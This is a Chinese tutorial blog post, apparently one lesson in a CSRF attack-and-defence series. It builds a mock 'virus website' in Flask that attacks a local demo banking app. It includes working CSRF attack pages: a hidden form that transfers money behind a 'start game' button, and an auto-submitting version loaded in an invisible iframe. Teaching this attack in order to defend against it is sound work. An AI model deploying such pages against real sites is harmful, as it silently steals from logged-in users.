首页 > Web开发 > 详细

六十四:CSRF攻击与防御之系统准备之病毒网站转账实现

时间:2019-11-16 17:00:57      阅读:80      评论:0      收藏:0      [点我收藏+]

 

准备一个页面或图片,用于用户访问

技术分享图片

 

一:表单方式

视图

技术分享图片

from flask import Flask, render_template

app = Flask(__name__)


@app.route(‘/‘)
def index():
return render_template(‘index.html‘)


if __name__ == ‘__main__‘:
app.run(debug=True)

页面代码

技术分享图片

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>病毒网站</title>
</head>
<body>
<h1>这是病毒网站</h1>
<img src="{{ url_for(‘static‘, filename=‘404.jpg‘) }}" width="100%" height="100%">
<form action="http://127.0.0.1:5000/transfer/" method="post"><!--转账接口和请求方法-->
<table>
<tbody>
<tr>
<td><input type="hidden" name="email" value="22@qq.com"></td><!--转到邮箱-->
</tr>
<tr>
<td><input type="hidden" name="money" value="1000"></td><!--转账金额-->
</tr>
<tr>
<td></td>
<td><input type="submit" value="开始游戏"></td><!--转账按钮-->
</tr>
</tbody>
</table>
</form>
</body>
</html>

数据库的情况

技术分享图片

确保有cookie信息

技术分享图片

用户点开始游戏

技术分享图片

 

技术分享图片

再看数据

技术分享图片

 

二:js方式

自动提交转账的页面

技术分享图片

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>病毒网站</title>
<script src="http://apps.bdimg.com/libs/jquery/2.1.1/jquery.min.js"></script>
</head>
<body>
<form action="http://127.0.0.1:5000/transfer/" method="post" id="myform"><!--转账接口和请求方法-->
<table>
<tbody>
<tr>
<td><input type="hidden" name="email" value="22@qq.com"></td><!--转到邮箱-->
</tr>
<tr>
<td><input type="hidden" name="money" value="1000"></td><!--转账金额-->
</tr>
</tbody>
</table>
</form>
<script>
$(function () {
$(‘#myform‘).submit(); //访问页面就自动提交代码
});
</script>
</body>
</html>

视图

技术分享图片

from flask import Flask, render_template

app = Flask(__name__)


@app.route(‘/‘)
def index():
return render_template(‘index.html‘)


@app.route(‘/transfer/‘)
def transfer():
return render_template(‘transfer.html‘)


if __name__ == ‘__main__‘:
app.run(debug=True, port=8888)

提供给用户访问的页面

技术分享图片

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>病毒网站</title>
</head>
<body>
<h1>这是病毒网站</h1>
<img src="{{ url_for(‘static‘, filename=‘404.jpg‘) }}" width="100%" height="100%">
<!--因为转账有响应的页面,所以使用iframe将其网页在当前页面加载为子页面,并把宽和高都设为0,用户就察觉不到了-->
<iframe src="{{ url_for(‘transfer‘) }}" frameborder="0" width="0" height="0"></iframe>
</body>
</html>

数据库信息

技术分享图片

用户访问页面

技术分享图片

数据库信息

技术分享图片

 

六十四:CSRF攻击与防御之系统准备之病毒网站转账实现

原文:https://www.cnblogs.com/zhongyehai/p/11871905.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!